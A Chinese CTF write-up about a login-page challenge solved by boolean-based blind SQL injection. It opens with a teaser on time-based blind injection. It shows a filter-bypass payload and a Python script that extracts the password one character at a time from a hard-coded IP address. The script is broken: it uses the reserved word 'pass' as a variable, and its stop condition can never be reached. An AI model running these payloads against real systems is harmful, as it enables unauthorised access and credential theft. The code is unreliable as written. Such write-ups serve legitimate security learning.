ctf-web-sql注入

关注

原创最新推荐文章于 2026-02-01 00:12:06 发布 1.3w 阅读 AI 写同款· GEO 优化 ›

【ctf】sql注入——基于时间的盲注基于时间的盲注原理：利用sleep()或benchmark()等函数让mysql执行时间变长，并结合判断条件if(expr1,expr2,expr3)，然后通过页面的响应时间长短来判断语句返回的值是TRUE还是False，从而猜解一些未知的字段。函数sleep(duration): 睡眠(暂停)时间为duration参数给定的秒数，然后返回0。若sleep()被中断，它会返回1。 select * from table where id=1 and sleep(3); select * from tab 阅读详情

题目链接：跳转提示

打开网页，一个登陆页面，根据题是本题题型是基于布尔的SQL盲注

首先在用户名处输入admin

得到结果：

即密码确为admin，而如果不输入用户名直接输入密码，发现报错

可见后台是先判断用户名是否正确存在，当用户名正确后再判断密码是否正确。

经测试发现，当出现'空格符'，'='，'and'等字符时，发现会报错显示：‘illegal character’，即知道这些字符会被过滤，可以用括号来避免空格符的使用，用<>（大于或小于）来避免'='的使用

尝试输入：ad'or(ascii(substr((password)from(1)))<>97)#

只有当ascii(substr((password)from(1)))==97时，整个句式username=='ad'or(ascii(substr((password)from(1)))<>97)为假，

即预计只有当显示结果为username does not exist!时，ascii(substr((password)from(1)))<>97为假，可以用此方法判断password的内容

得到结果：

发现句式可用，因为ad不是用户名，结果却显示密码错误，没有显示用户名错误，根据or的特性，说明后半段的语句为真，即password的第一个字符<>97

利用脚本：

import requests
ra=requests.session()
pass=""
for j in range(1,100):
    flag=0
    for i in range(48,123):
        test="admin1'or(ascii(substr((password)from("+str(j)+")))<>"+str(i)+")#"
        url='http://114.67.175.224:18554/'
        data={
            'username':test,
            'password':""
        }
        pa=ra.post(url=url,data=data).text
        if "username does not exist!" in pa:
            pass+=chr(i)
            flag=i
            break
    if flag==123:
        break
print(pass)